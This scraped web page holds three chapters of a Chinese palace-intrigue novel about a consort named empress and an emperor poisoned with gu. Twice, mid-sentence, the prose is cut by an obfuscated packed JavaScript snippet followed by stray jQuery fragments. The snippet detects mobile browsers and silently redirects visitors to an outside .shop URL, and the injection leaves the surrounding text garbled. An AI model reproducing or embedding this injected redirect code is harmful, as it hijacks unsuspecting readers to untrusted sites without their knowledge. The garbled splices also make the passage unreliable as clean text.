宁梓韵抬起眼,眼底不见半点波澜。这种传言,自从她入宫的第一天起就没断过。她原以为青芜这般慌张,是因为看见淑妃即将登顶而感到愤恨不平,直到那一瞬——脑海中闪过一个荒唐至极的念头。 莫不是……立的人,不是李思然? 林美人?还是那位刚进宫不久的襄嫔?这些名号在她脑中一闪而逝,随即被否定。这后宫之中,除了那位被亘安捧在手心里的淑妃,谁还受得了那样的荣宠? 她嘴角轻扯,浮现一丝似笑非笑的弧度,正准备劝青芜平复心绪,别被流言乱了分寸。 见主子神情依旧冷淡,青芜急得不行,转头朝小德子使了个眼色:”你还愣着做什么?快把你听见的真话一字不落地禀给娘娘听啊!” 小德子战战兢兢地往前挪了两步,步伐比平时更轻,彷佛脚下的汉白玉地砖是什么易碎的琉璃。他个头本就单薄,此刻站在青芜身侧,更是像一株风一吹便能卷走的野草。 这还是小德子第一次踏进贵妃的私密寝殿,他的眼神中写满了局促,视线死死盯着自己的脚尖。虽然他也曾偷偷奢望过能得主子一眼垂青,但此时此刻,只有恐惧与激动在胸口翻腾。 “奴才……奴才……方,方才听、听见……”小德子一开口便打结,结巴得厉害。 宁梓韵瞧着他这副模样,倒也不动怒,只温声安抚道:”别急,慢慢说。本宫又不吃人,你怕成这副样子做什么?” 语气轻柔,甚至带着几分她自己都未察觉的调侃。小德子不好意思地挠了挠脑袋,神情愈发窘迫,他深吸一口气,鼓足勇气一口气断断续续说了出来: “朝阳殿……传出的实信……皇上已经拟旨……要、要立娘娘……立宁贵妃为……皇后……” 啪嗒—— 一声脆响。宁梓韵手中原本握着的青花瓷盏坠地,滚烫的茶水溅了一地,碎片四散在她的绣花鞋边。 宁梓韵的手指在空中微颤,脸上那抹漫不经心的笑意,在一瞬间褪得干干净净,只余下一片惨白。 立她为后?为什么? 她整个人怔在原地,彷佛整个世界都安静了下来,耳边只剩下小德子那句话的余音,一遍又一遍地撞击着她的心墙,震得她灵魂发颤。 亘安……安景帝……那个恨不得将她推向悬崖的男人,到底想做什么? * 与此同时,朝阳殿内,气氛沉重得让人喘不过气。 近日西南边疆蛮夷蠢蠢欲动,桌案上的奏折堆栈如山,每一封皆是八百里加急的军情。亘安用力捏着自己的印堂,眉心皱成了一个深刻的”川”字。他一边翻阅着公文,一边发出令人胆寒的冷笑。 “果真如胡楠所言,这群塞外的蛮子,太平日子过久了,便忘了骨头有多脆。”他的指尖在桌案上点点发颤,视线扫过折子中墨迹未干的字句。汉城一带的蛮族竟敢公然劫掠粮草,甚至羞辱大周子民。若非当地守将拼死压制,战局恐怕早已崩坏。 “当朕是死的吗!” 话音未落,他右手握着的紫金墨笔发出”咯吱”一声惨叫,竟然被他生生捏碎,墨汁溅了一手,在那明黄色的衣袖上显得极其刺眼。 亘安不由得想起了太上皇在位之时。那时,西南边疆无人敢越雷池半步,皆因那位曾横扫八荒、创下赫赫军功的战神亲自坐镇天下。如今自己即位三载,正是欲大展宏图、稳固根基之际,却频频遭到朝臣暗地里的比较,说他守成有余而威慑不足。 甚至连这些边远小部落都敢来试探他的底线? 想到那日玄武门外,百姓哭求太上皇不要退位,众臣嘴上喊着万岁,心里却仍高呼”战神长在”。亘安胸中的怒火像是一条被激怒的毒蛇,烧得他五脏六腑都在疼。 他心里清楚,太上皇虽然退位,却并未完全交出权柄,那双垂帘观政的眼睛,始终盯着这江山的每一寸变化。这让他这位新帝,难以真正建立起独属于自己的威仪。 “朕才是这大周的天子。”他低声自语,像是在催眠自己,又像是试图强行压下那股对太上皇的不甘。 就在这时,伺候在侧的大太监李鹤小心翼翼地探进头来回报: “皇上……庆和宫那边来了信,说淑妃娘娘方才不慎从石阶上摔了下来,脚踝崴得厉害,疼得直哭……娘娘想问,您今晚是否能……过去瞧瞧她?” 话音刚落,这殿内的空气便彻底凝滞了。 安景帝缓缓抬起头,那张英俊的面孔此刻冷若霜降,不带一丝温度。他猛地将那截断笔甩向地面,纸张飞散,墨痕斑驳了一地。 这种时候,李思然竟然还敢拿这种琐碎小事来烦他?谁给她的胆子? 然而,在短暂的沉寂后,亘安缓缓闭上双眼,伸手揉着隐隐作痛的眉心,声音低沉沙哑:”去传个信,说朕晚点过去。” “喳!奴才这就去!”李鹤喜形于色地退了下去。 身为大总管,他心里早就将这番回应视作了圣宠不衰的铁证。走出殿门时,李鹤甚至还轻哼着小曲,心想今晚与几个小太监设下的赌局是稳赢无疑了。看吧,哪怕立了那位贵妃为后又如何?皇上心尖上的人终究还是淑妃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17490878|202217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他眉开眼笑,浑然不知在那阴暗的书房内,帝王正盯着自己的指尖,喃喃冷笑:”动不动就崴脚,哪次是真,哪次是假?女人……真是这世间最麻烦的东西。” 他将手伸向一旁新的墨笔,却久久没有落下。立后旨意已定,朝野上下皆以为他这是在补偿宁梓韵,亦或是对淑妃的冷落。可若他此时不去庆和宫,这场精心布置的棋局,又该如何演下去? 他抬眼望向窗外墨色的夜,眼神中泛起一抹幽暗且残忍的深意。 * 庆和宫内,此时正处于一场狂风暴雨般的焦躁之中。 殿内珍贵的瓷器碎裂声不绝于耳。那华贵的地毯上已落满了细小的、尖锐的瓷片。芬儿红着眼眶,蹲跪在地上小心翼翼地收拾着,指尖被划破了数道口子也不敢发出一声哀求。 小娟则守在淑妃身侧,努力平复着这位主子的滔天怒火:”娘娘,莫要气坏了身子,皇上那边让人来传信了,说晚点便会驾临。” “晚点?晚点是什么时候!这都过去了两个时辰了!”淑妃李思然双眼赤红,声音因极度的气愤而变得嘶哑。 她不甘地在殿内踱步,却在转身时不慎牵动了”伤处”,”嘶——”地一声痛呼,跌坐在软榻上。 “娘娘息怒……皇上刚从外头回来,肯定是军情缠身。依奴婢看,皇上心里还是顶疼您的。您瞧,这不是一听说您受伤,就要过来了吗?若是心里没您,何必亲自跑这一趟?”小娟见淑妃情绪稍缓,赶紧趁热打铁地劝慰道。 “立后这件事,其中定有猫腻。指不定是太后娘娘那边硬压下来的。皇上也是没办法,才拿那姓宁的当个挡箭牌。日子久了,皇上定会给您一个交代的。” 李思然咬着下唇,眼中闪过一丝希冀:”对,你说得没错。本宫与皇上那可是江南共患难的情分,这后位若非万不得已,他怎会拱手让给他人?他……他肯定会过来跟我解释的。” 她低声吩咐,语气中带着一种近乎疯狂的执着:”快,准备热水,本宫要沐浴……换上那件西域进贡的紫绡衣。不能让皇上看见我这副狼狈的鬼样子。” 她一边说,一边在小娟的搀扶下艰难起身,却在那一刻忘了脚伤是真的还是装的,落地时一阵钻心的刺痛让她再次倒吸一口凉气。 酉时三刻,天色将沉。安景帝的身影终于出现在了庆和宫的长廊尽头。 他一踏入殿内,便看见李思然慵懒地斜倚在贵妃椅上,一头乌黑的长发如瀑布般散落在紫色纱衣上。她指尖轻轻捻着一颗鲜红欲滴的樱桃,缓缓喂入口中,端的是一副风情万种、勾魂摄魄。 若非事先已有暗卫回报说她这伤并无大碍,亘安几乎也要被这幅哀婉柔媚的画面给骗了过去。 “爱妃的脚,可好些了?” 他迈步上前,嘴角挂着那抹标志性的、不达眼底的温和笑容。他走近她,将那个浑身散发着浓郁甜香的女子揽入怀中。那股强烈的脂粉气钻入鼻尖,让他在某一瞬间下意识地屏住了呼吸。 他一手稳稳搂住她纤细得彷佛一折即断的腰肢,另一手接过了她递来的半颗樱桃。 李思然本就生得玲珑,加上当年在江南酒肆为了生存,学了不少讨好男人的私房招数。此时见皇帝意动,她娇笑着发出银铃般的笑声,声音软得能掐出水来。 “皇上……臣妾这脚疼得像是断了,您给臣妾揉揉,好不好?”她整个人像是一滩没骨头的水,直往亘安身上蹭。 亘安伸出手,轻轻点了点她的鼻尖,宠溺地一笑,那宽大的掌心随即覆在了她纤细的小腿上。 一股似痒非痒、酥麻入骨的触感令李思然浑身微颤。她顺势搂紧了帝王的颈项,那娇躯紧紧依偎着,温香软玉在侧。她深知自己的优势,那一对波涛汹涌此时若有似无地摩擦着亘安的龙袍。 “皇上,您轻些……您明明知道,臣妾最是怕疼了。”她语带暧昧,长睫微动,在那半掩的瞳孔中藏着一丝对丽华宫的挑衅。 亘安的手掌缓缓上移,已经来到了大腿根部。李思然情不自禁地发出一声娇吟,身子愈发瘫软下去。 安景帝的眼底始终波澜不惊,他的手指缓缓滑动,动作熟练而精确,透着一股冰冷的计算感。 “今夜,咱们换个法子疼你,嗯?” 他贴在她的耳边低声诱哄,声音低沉撩人,充满了诱惑力。然而,在那令人沉沦的音调背后,却没有一丝一毫属于爱人的温情。 李思然羞红了脸,娇羞地点着头。此时此刻,她的心中满是胜券在握的得意。她以为,只要男人的身体还迷恋着自己,那凤冠与凤位迟早是她的囊中之物。 却浑然没有察觉,男人垂下的眼帘中,闪烁着多么幽暗且卑劣的算计。 宠爱,不过是制衡朝堂与太后的手段。这份伪装出来的柔情,是为了让李思然以为自己仍被需要,从而死心塌地地当他在后宫的利刃。 若她乖顺听话,尚且能留着利用;若她敢生出半分不该有的异心,威胁到他的布局……那便再无存在的价值。 立后宁梓韵,是震动朝堂的一步棋。可眼见皇上依然夜宿庆和宫、流连忘返,宫中那些风向转得极快的奴才们,私下里便开始了啧啧低语: “看吧,不受宠的皇后,即便尊贵也不过是一具空壳。这天下,荣宠从来不看那张虚无的名分,看的是皇上的身子往哪儿躺。” 那些原本对丽华宫有所忌惮的宫人们,心思渐渐又转了回来。 在这金碧辉煌的牢笼里,荣宠,确实从来都不只看名分。 9. 第009章 封前之变 直到封后大典的凤袍与凤玺被正式送至丽华宫的那一刻,宁梓韵才在那冰冷的触感中,真正相信自己即将登上那座权力的巅峰。 她的指尖轻轻抚过那雍容华贵的布料,那是用极细的金丝与天蚕丝交织而成的缂丝。绣面上,一只火凤展翼凌空,每一根羽毛都闪烁着流动的光彩,彷佛随时会破布而出。最令人心惊的是凤凰的那双眼睛,狭长而锐利,镶嵌着两颗极小的红宝石,宛如穿透了重重岁月,直勾勾地望向她的灵魂深处,带着审视,也带着一丝悲悯。 “贵妃娘娘,封后大典的时辰正由国师亲自定夺,届时礼部便会择良辰吉日举行。这几日,还请娘娘万万要保重凤体,切莫劳心过度。” 说话的是难得亲自跑一趟的小李子——李鹤。在这一座人精汇聚、势利透骨的皇宫里,除了朝阳殿,便只有庆和宫能得这位御前大总管亲自现身。他的笑容总是带着恰到好处的卑微与虚伪,这便是他在这深宫中屹立不倒的生存之道。 “多谢公公亲自跑这一趟,辛苦了。” 宁梓韵微微一笑,神色得体而疏离。她轻轻侧首,身后的青芜早已心领神会,低头走上前,递上了一只沉甸甸的织金荷包。 李鹤是个聪明人,这宫里想塞给他荷包的人从神武门排到干清宫都排不完。庆和宫那位淑妃更是三天两头送上厚礼,只求他在皇上面前替自己说上两句好话,或是打探些圣意的风声。 李鹤看了一眼那荷包,随即双手摆得飞快,脸上的笑容更深了几分:”娘娘,您这可真是折煞奴才了,奴才侍奉主子是分内之事,万万不敢收受这等重赏。” 李鹤的拒绝在宁梓韵的预料之中,她并未收回,语气依旧柔和,话中却带着几分不容置疑的针锋:”公公不必推辞,这丽华宫向来清净,凡有差事,本宫总不愿让人白跑一趟。这点心意,不为厚赏,权当是谢过公公这几载对皇上的悉心照料。” 她顿了顿,目光不经意地扫过凤袍的一角,声音压低了几分:”再说了,这封后之事在旁人眼里或许隆重,但若非公公亲自前来,本宫这心里还真是不踏实,不知该信几分真假呢。” 这话说得云淡风轻,实则暗藏玄机。宁梓韵心里清楚,在这座权势盘根错节的宫廷中,一场皇后的册立若无帝王的一语为证,便再华美也只是虚饰。李鹤的到来,不仅仅是传达诏命,更是皇上给予外界的一种政治信号——这皇后之位,不是朝堂博弈的妥协,而是他亘安真正的旨意。 至于那位帝王的真正心思……宁梓韵在心底冷笑,大抵连他自己都未必说得准。 “那奴才就厚着脸皮,多谢娘娘的赏赐了。”李鹤笑着拱手接过,忽而像是想起了什么,轻轻拍了拍自己的额头,做出一副自责的模样,”瞧奴才这记性,差点忘了正事。皇上已下旨内务府,让人加紧整修凤仪宫。待大典一过,娘娘便可迁入新宫。届时若有什么不足之处,娘娘尽管与奴才说,或是直接吩咐内务府便是。” 语毕,他深深弯腰行了一礼:”若娘娘再无其他吩咐,那奴才便先回朝阳殿向皇上复命了。” 李鹤这话说得不疾不徐,偏偏那双细长的眼中藏着几分精确的算计,像是专挑着宁梓韵心里最在意的角落下手。凤仪宫,那是大周历代皇后的居所,迁宫,便意味着真正的名正言顺。 宁梓韵笑意不减,眼神轻转,隐去了那抹锐利的锋芒:”劳烦公公了。青芜,送公公出宫。” “是。” 待青芜送人归来后,便一脸忿忿不平地抱怨开了:”呸!奴婢还以为这李鹤大总管有多清高清廉呢,原来也是个见钱眼开的主。方才那副推辞模样全是在做戏!若非娘娘您先备下了那份厚礼,他那句『凤仪宫』怕是连半个字都不肯透露给咱们听。” 宁梓韵看着被搁置在案上的凤袍,指尖在那冰冷的金在线摩挲,语气淡然:”迁宫之事,牵动的不仅是一间殿宇,而是一宫之主的份量。他不肯主动说,是在等本宫先开口求他,以此彰显他的权势。本宫不过是借着他的口,确定皇上的态度罢了。青芜,你的脾气,还得再磨一磨。” 青芜嘟着嘴,小声嘟囔:”奴婢不是气他,是心疼娘娘。您明明都要当皇后了,怎的什么事都要算计得这般辛苦……” 宁梓韵轻声一笑,未再多言。她转过头,望向窗外。此时日影斜斜,宫墙的影子被拉得极长,透着一股沉重。 风过玉帘,铜铃发出清脆的轻响。 与此同时,朝阳殿内,安静得有些诡异。香案上的冷香悠悠升起,细烟袅袅,在空气中扭曲成难以捉摸的形状。 亘安披着一件玄色的常衣,斜倚在书案侧旁。他的指间依旧捻着早晨翻阅过的奏章,却已维持这个姿势多时,未曾挪动分毫。 他凝视着帘外晃动的光影,眼底无悲无喜,只有一层看不透的、如深潭般的沉静。 凤仪宫想必已经动工,那件他亲自命人督造的凤袍,如今应该已经到了她的手里。 他在脑海中描摹着宁梓韵看见凤袍时的神情——是震惊?是冷静?还是平静得彷佛一切都在预料之中? 那个女子太过聪明,也太过安静。 他在这时候封她为后,朝野上下都传言是他旧情未断,是为了弥补当年的亏欠。可唯有他自己知道,这一步棋,不过是局中的权宜之计。立谁为后,从来不是看情分,而是看谁能压得住那些虎视眈眈的世家与宗亲。 宁梓韵合适,仅仅是因为她背后的尚书府,以及她那份能让他在纷乱中暂时获得安宁的安分。 “陆玄。”亘安的声音极轻,却带着一股不容抗拒的威严。 黑暗中,一抹黑色的身影悄无声息地闪现,半跪在阶下:”陛下。” “吩咐下去,在册封大典正式举行前,不得有任何人以任何理由擅入凤仪宫。若有异动,直接交由御前司处置,不须宽贷。” “是。”影卫应声而逝。 亘安微微闭上眼,彷佛要将心底所有的波澜都藏进那层阴影之后。良久,他才像是对着虚空低语了一句:”……那个位置,她确实是最合适的人选。” 不知这句话,是说给已经离去的陆玄听,还是说给他自己那颗不安的心听。 * 立后所需的礼服与发饰皆已妥帖送至丽华宫,过程顺遂得有些异常。这种平静,反而让宁梓韵心中泛起了一丝难以言喻的不安。 “近日,庆和宫那头有什么特殊的动静吗?”她淡声问道。 听闻此话,青芜忍不住扑哧一声笑了出来,语带幸灾乐祸:”娘娘您不知道,庆和宫那位现在可真是成了后宫的笑话。听说得知立后的是娘娘您,那位气得差点掀了桌子,直嚷着要冲去朝阳殿讨说法,结果大概是气胡涂了,脚下一崴,差点连自己的殿门都跨不出去。” “崴了脚倒也罢了,偏偏还哭得梨花带雨,三番五次央着小李子去请皇上过来看她。啧,这般演技,也演不到那凤冠霞帔上去。” 宁梓韵听着青芜的描述,眉心却皱得更紧了:”除此之外呢?” 青芜一愣:”也就这些了,她现在把自己关在屋子里,怕是也掀不起什么大浪。” 宁梓韵不语,她凝视着桌上微跳的烛火。烛泪滴落的瞬间,她的眼神沉了下去:”你不觉得奇怪吗?立后消息传开前,她还敢亲自过来丽华宫叫嚣,如今板上钉钉了,她竟然只是躲着哭……这不像李思然的性子。” “娘娘的意思是,她可能会暗中动手脚?” “不得不防。”宁梓韵语气坚决,”让小德子领几个手脚利落的,轮流在庆和宫外头守着,一有风吹草动,立刻回报本宫。” 青芜点头领命,匆匆退下去安排。 寝殿内再次安静了下来。宁梓韵独自坐在窗前,神情怔怔。从前尚未入宫时,她也曾幻想过,若是有朝一日能与心爱之人共登凤位,必是百感交集。可如今,凤袍就在眼前,她的心里竟感觉不到半分喜悦。 “既然并非心悦于我,又何必忍着厌恶将我推上那个位置……” “亘安,我始终猜不透,你这局棋,到底要把我当成什么。” 她的眼眶微微泛酸,仰起脸,看向窗外的梅花。此时梅期已过,枝头零落不堪,只剩下几朵凋零的花瓣在寒风中瑟缩。 地上的花瓣斑斓而凄清,正如她心底那场无声的落雪,无人得见,也无人知晓。 随着立后圣旨的颁布,整座皇城都陷入了一种狂热的忙碌中。宫人们为了赶在清明之前筹备好大典,忙得脚不沾地。 “哥哥,你行行好吧,我这两日加起来睡不到三个时辰,眼睛都要黏在一起了。”在内务府领物资的小太监一边踢着同伴,一边抱怨道。 “你就知足吧,这立后大典连着清明祭祖,国师选的这个日子,分明是想要咱们的命。听说是皇上亲自择定的,要在清明之前完成册封。” 旁边一个负责送炭的小宫女凑了过来,低声道:”你们还不知道吧?是国师呈上了数个黄道吉日,皇上唯独挑了这一个,说是清明祭祖时,皇后必须位列身侧。” “这可真叫人摸不着头脑,前些日子皇上不是还夜夜留宿庆和宫吗?怎么突然间对丽华宫这位如此器重了?” 众人你一言我一语,私底下的议论声虽轻,却透着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17490879|202217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一股子不安。那些从前狗眼看人低、怠慢过丽华宫的奴才们,此刻更是人人自危,生怕这位新后登基后会秋后算账。 而在一片喧嚣的转角处,一道纤弱的身影静静地听着这些流言,随即转身离去,没留下半分痕迹。 册封大典在即,内务府派来了资深的礼教嬷嬷专门教授皇后的仪态。所幸宁梓韵自幼在尚书府受过最严苛的规训,这些繁琐的礼节对她而言,不过是唤醒了一段沉睡的肌肉记忆。 这日课程结束,宁梓韵觉得胸口发闷,原本想唤青芜准备些酸甜开胃的小菜,却见青芜满头大汗地撞进了殿内。 “娘娘!大事不好了!” 宁梓韵手中正端着一盏已经凉透的残茶,她仰首饮尽,神色平淡:”嗯?” 青芜气喘吁吁,显然是一路小跑回来的:”这几日皇上连日罢朝休沐,朝堂上已经炸开了锅。奴婢刚从小太监那里打探到一个极其隐秘的消息——皇上……皇上似乎三日前便陷入了昏迷!朝阳殿现在已被禁卫军层层封锁,除了李鹤公公与国师,任何人不得擅入!” 宁梓韵猛地放下茶盏,瓷器相撞的声音清脆刺耳:”你确信所言不虚?” “奴婢不敢妄言!方才奴婢亲眼看见淑妃正与李鹤公公在朝阳殿后门低声争执,虽然离得远听不真切,但淑妃喊了一句『三日了,难道连我也不能见吗』,这才让奴婢起了疑心。” 皇帝昏迷三日,这足以让大周的天塌下来。宁梓韵当即起身,眼神冷冽:”随本宫去朝阳殿。” “可是娘娘……那边现在戒备极其森严……” “再过数日,本宫便是这大周的皇后。立后旨意已下,名分已定,若皇上真的龙体有损,本宫身为一国之母,这便是分内之事。” 宁梓韵一改往日的低调,命人备下轿舆,直奔朝阳殿。 * “奴才给贵妃娘娘请安。” 李鹤显然早已得到了消息,此时正稳稳地守在殿门前。他的脸上依旧挂着那副恭谨的笑容,却伸出手,拦住了宁梓韵向前的步伐。 “李鹤公公,你这是何意?”宁梓韵坐在轿舆上,居高临下地看着他,眼神淡然无波,却透着一股前所未有的压迫感。 李鹤心中一震,这哪里还是那个温顺如水的贵妃?这股气势,与真正的国母有何分别! “娘娘恕罪,皇上有令在先,未曾亲自召见,任何人不得擅入朝阳殿,还请娘娘体谅奴才的难处。” “皇上亲口下的令?什么时候下的?”宁梓韵轻笑一声,却没有半分笑意,”本宫若是非要进去呢?” 李鹤脸色一僵,随即招手示意两侧的禁卫军上前一步,挡住了去路:”娘娘,莫要为难奴才。这朝阳殿……真不能进。” 见宁梓韵挑眉冷笑,李鹤咬了咬牙,压低声音搬出了国师的说法:”实不相瞒,国师判断皇上是染上了某种极具传染力的急症,为了娘娘的凤体着想,您还是请回吧。” “传染病?”宁梓韵眸光微凝。 水痘?她在脑中飞快搜寻,三年前亘安曾发过一次,当时还是她守在榻前亲自照顾。除了水痘,大周境内鲜少有能让帝王三日不醒的急症。 这借口,简直漏洞百出。李鹤在撒谎。 “既然是急症,那公公倒是说说,是什么病?传染力几何?”宁梓韵不紧不慢地拂去指甲上的尘埃,”本宫自幼读过几本医书,或许能帮上国师的忙。若公公说不上来,便请国师出来与本宫当面对质,否则,这殿门,本宫进定了。” 李鹤心虚地垂下眼,额角渗出了细密的冷汗:”奴才……奴才也不甚清楚,一切皆听国师吩咐。” 李鹤有些慌了。原本淑妃听到这话,只是恨恨地跺了跺脚便离开了,为何这宁梓韵却如此难缠? “娘娘,您进去了,奴才这颗脑袋可就真的保不住了……”李鹤噗通一声跪在地上,试图以退为进。 宁梓韵美眸流转,似笑非笑地看着他:”那本宫如果不从这寝殿大门进去,是不是就不算为难公公了?” “娘娘这话……不从正门,难不成——”李鹤一时没反应过来。 宁梓韵轻轻一笑,语气中带着几分戏谑:”公公莫要装胡涂。本宫自幼入宫伴读,曾受太后娘娘之托,在那御书馆与朝阳殿的偏殿抄写过无数古籍典籍。这朝阳殿底下的暗道有几处,分别通向何方,本宫可是如数家珍。你说——本宫若想见皇上,是不是非要走这扇大门不可?” 李鹤脸色瞬间变得惨白,心头如坠冰窟。 完了,他竟然忘了,这位宁贵妃,可是这宫里活得最久的“旧人”之一。 10. 第010章 救君无声 晨曦微弱,尚未能穿透朝阳殿重重叠叠的明黄帷幔,殿内弥漫着一股浓重的苦参味与龙涎香交织的诡异气息,压抑得教人喘不过气。大太监李鹤,此时正如同热锅上的蚂蚁,在那汉白玉铺就的地砖上不安地踱步。直到那一抹月白色的身影,带着如霜降般的寒意,毫不避讳地跨过那道象征着至高权力的门槛。 李鹤猛地回过神,心尖都颤了一颤。他赶忙弓着身子跟上,眼角余光疯狂地朝一旁静立的国师使眼色,指望着这位平日里深得圣宠的世外高人能出面拦一拦。可国师薛定严却只是气定神闲地抚弄着指尖的一枚黑玉棋子,神情淡然得近乎冷漠,压根没有要理会李鹤求救的意思。 在那位素来以清冷著称的贵妃娘娘面前,国师的眼神深处反而划过一丝饶有兴致的光。 他自幼与亘安一同长大,深知这位少年天子多年来郁结在怀的情绪,多半是与眼前这个女子牵扯不清。如今在这风雨飘摇之际终得一见,他倒想看看,究竟是何等模样的女子,能叫那位心硬如铁的一国之君反复挂心,甚至在睡梦中都不肯松开眉心。 宁梓韵那双灵动的狐狸眼,此刻仿佛被这一室的死寂染上了化不开的哀愁。她象是没看见殿内的其他人,连一记眼神都未施予,径直掠过李鹤与国师。在那一瞬间,国师甚至觉得自己成了透明的空气,只能看着她衣摆掠起的微风,带走一室凝滞的药气。 她直趋寝殿深处,在床畔停下脚步,低首俯视榻上的男人。 即便是陷入了如此深沉的昏迷,帝王的面容依然俊美得惊心动魄。可那一抹过于深沉的青黑、死死紧锁的眉头,以及额间不断沁出的、擦也擦不干的冷汗,无一不在向宁梓韵昭示着事态的异样。 “皇上真是得了传染病?”宁梓韵并未回头,声音轻得象是一片落入冰湖的羽毛,却寒气逼人。 她伸出如削葱般的指尖,轻轻在那人的手腕处一探。指尖触感冰凉得教她心惊,而眼前的亘安,除了过度显着的疲惫外,身上竟寻不到半点红疹、热症或是呕吐后的酸腐味。这哪里是疫病? 倒象是……中毒,或是某种更为阴毒的邪术。 宁梓韵的睫毛微微颤动,心底泛起阵阵惊涛骇浪。大周立国以来,虽未曾明令禁止民间修习巫蛊之术,但在这波诡云谲的皇宫大内,这两个字向来是足以让九族喋血的禁忌,无人敢将其明言于口。 “回娘娘话,当然如此。若非传染病,皇上又何苦下旨封锁朝阳殿?如今这殿内,除了奴才与定时前来施针的国师,旁人皆是万万不得入内的。奴才这也是为了娘娘的万金之躯着想,请娘娘体恤奴才们的难处……” 李鹤一边拱手低头,一边不断用袖口擦拭额上止不住的细汗。可他话音未落,便觉一股无形的、极其强悍的压迫感自宁梓韵身上横扫而来。 平日里那位在他眼中清冷温婉、仿佛永远不会动怒的贵妃娘娘,此刻竟如同一场即将来袭的霜雪压断了翠枝,惊天动地的凌厉叫人根本透不过气来。 “哦?既然是传染病,本宫倒是要问问——是什么样的奇毒疫症,能让李公公你在这寝殿内不戴面巾、不设防护,日日贴身侍奉于侧,却依旧生龙活虎,连个喷嚏都没打?” 宁梓韵缓缓转过身,语调依旧淡淡,眼神却如同一柄淬了寒光的锋利短刃,直直戳向李鹤的命门。 “若真有这般忠心耿耿、百毒不侵的奴才,本宫明日便要上奏太后,好好奖赏一番,也好让这全宫上下的奴才都学学李公公这舍生取义的勇气与大义。” 这话,字面上听着是柔顺婉转的褒奖,实则每一个字都如毒针见血,扎得李鹤神色大变。他那滚动的喉咙发不出一点声音,在这宫里打滚多年,他曾见识过淑妃的蛮横,也见过太后的威严,却从未想过,这位素来淡漠恬静的主子,竟也有这般杀伐果断、凌厉逼人的帝后气度。 “娘娘,这……这实在是皇上的旨意,奴才……” 李鹤头皮发麻,腿脚一软,几乎就要在那如实质般的威压下跪倒在地。他知道皇上昏迷前曾在那一息尚存时交代过要守口如瓶,可眼前这位未来的皇后娘娘显然不是什么好应付的花瓶。 就在他左右为难,两头都要丢命的当口,一旁沉默许久的国师终于开了口。 “贵妃娘娘果然心思缜密,皇上并非染上什么传染病,而是……中蛊。不过目前蛊性潜伏极深,尚不清楚是哪一种。” 宁梓韵眉心紧蹙,原本就冷彻的心又沉了几分。她冷声道:“朝阳殿戒备森严,出入的每一碗药、每一勺粥皆有详尽记录,又是谁,能在这重重关卡之下,近身于皇上而下此毒手?” 语毕,她眼神如雪原上的猎鹰,直射向跪在地上的李鹤。 李鹤打了个冷噤,立刻整个人趴伏在地上,额头重重磕在青砖上:“娘娘明察!奴才这颗心掏出来都是热的,奴才确实日夜近身伺候皇上,但若有半点二心,定教奴才遭五雷轰顶!皇上于奴才有救命之恩,奴才感恩戴德还来不及,哪敢生出半点害主之念?” “话,说得倒是动听。在这宫里,用嘴皮子表忠心,谁不会?” 宁梓韵的语气依旧冰冷,嘴角微抿,神色间透着毫不遮掩的怀疑。李鹤再怎么圆滑,此时也兜不住这一身逼人的气势,瞬间哑口无言,只觉得今日是叫天天不应,叫地地不灵。 他在宫中也算是德高望重的太监总管,平日里那些小主哪个不尊称他一声“公公”?怎的到了这位贵妃面前,竟成了待审的窃贼。 李鹤虽心中恼怒,却也明白宁梓韵的担忧并非无理。宫里动辄一举一动皆有人暗地算计,谁知是不是哪个处心积虑的王八羔子,趁他不备,故意栽赃嫁祸给他?他暗自咬牙,若让他查出真相,定叫那幕后黑手见不到明早的太阳! 宁梓韵见其神态虽然惊恐却无闪躲之意,终于稍稍松了口气,视线重新落回榻上的男子:“朝阳殿里负责煎药、传菜的奴才,你都彻底查过了吗?” “回娘娘,皆是奴才一手亲自挑选的家底清白之人,三代之内的身家性命皆在奴才手里,查无异样。”李鹤连连点头。 “若非有泼天的血海深仇,谁又敢动当今皇上一根毫毛?这可是要诛九族的谋逆大罪。” 宁梓韵说话间,已轻轻从袖中取出一方绣着清冷寒梅的丝帕,亲自替亘安拭去额上层层叠叠的冷汗。她的动作极其轻柔,仿佛在触碰一件一碰即碎的琉璃。 美人情深,帝王无情。 在一旁冷眼旁观的李鹤,瞧着这一幕,心里不禁犯起了嘀咕。这位贵妃娘娘整颗心都扑在皇上身上,这三年来,无论皇上如何百般嘲讽、倍受冷落,她好像都不曾气馁。如今皇上刚一传出病讯,她便冒着违旨的风险闯宫,这份真心,这宫里又有谁能比得上? 反观那位平日里恨不得把天都撒娇撒破了的淑妃娘娘,方才一听说是传染病,当场那俏脸就吓得惨白,装模作样地抹了两把眼泪便仓皇逃回庆和宫,至今连个打听的消息都没传过来。 李鹤暗自叹息。若他还是个的男子,在这两位主子间,定会选贵妃这般同生共死的。但他只能低垂下头,暗下决心:若皇上真能度过此劫,他必得找个机会,在圣驾前替这位受尽委屈的娘娘美言几句。 “国师大人,目前这情形,你如何看?”宁梓韵并未回头,眼神复杂地盯着亘安。 入宫三年,这竟是他们距离最近、最宁静的一次。讽刺的是,这种亲近,竟然是建立在对方命悬一线的时刻。她心中苦笑,却更多的是一种无力感。 国师望向她眼底那抹尚未散尽的幽思与苦涩,幽幽开口:“微臣无能。此蛊异变,单凭目前这些外在症状,仍极难断定具体的蛊毒种类。蛊虫入骨,微臣需再观察几日,辅以金针试探,方能确定解法。” 